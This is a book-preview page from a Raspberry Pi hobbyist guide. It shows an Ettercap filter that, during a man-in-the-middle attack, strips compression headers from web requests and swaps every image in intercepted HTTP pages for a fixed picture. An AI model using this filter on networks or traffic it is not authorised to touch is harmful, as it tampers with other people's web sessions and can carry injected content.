Search icon
Arrow left icon
All Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Newsletters
Free Learning
Arrow right icon
Raspberry Pi for Secret Agents

You're reading from  Raspberry Pi for Secret Agents

Product type Book
Published in Apr 2013
Publisher Packt
ISBN-13 9781849695787
Pages 152 pages
Edition 1st Edition
Languages
Concepts
Author (1):
Stefan Sjogelid Stefan Sjogelid
Profile icon Stefan Sjogelid

Table of Contents (12) Chapters

Pushing unexpected images into browser windows


Not only do man-in-the-middle attacks allow us to spy on the traffic as it passes by, we also have the option of modifying the packets before we pass them on to its rightful owner. To manipulate packet contents with Ettercap, we will first need to build some filter code in nano:

pi@raspberrypi ~ $ nano myfilter.ecf

The following is our filter code:

if (ip.proto == TCP && tcp.dst == 80) {
  if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Mischief");
  }
}

if (ip.proto == TCP && tcp.src == 80) {
  if (search(DATA.data, "<img")) {
    replace("src=", "src=\"http://www.gnu.org/graphics/babies/BabyGnuTux-Small.png\" ");
    replace("SRC=", "src=\"http://www.gnu.org/graphics/babies/BabyGnuTux-Small.png\" ");
    msg("Mischief Managed!\n");
  }
}

The first block looks for any TCP packets with a destination of port 80. That is, packets that a web browser sends to a web server to request pages. The...

lock icon The rest of the chapter is locked
Register for a free Packt account to unlock a world of extra content!
A free Packt account unlocks extra newsletters, articles, discounted offers, and much more. Start advancing your knowledge today.
Unlock this book and the full library FREE for 7 days
Get unlimited access to 7000+ expert-authored eBooks and videos courses covering every tech area you can think of
Renews at $15.99/month. Cancel anytime}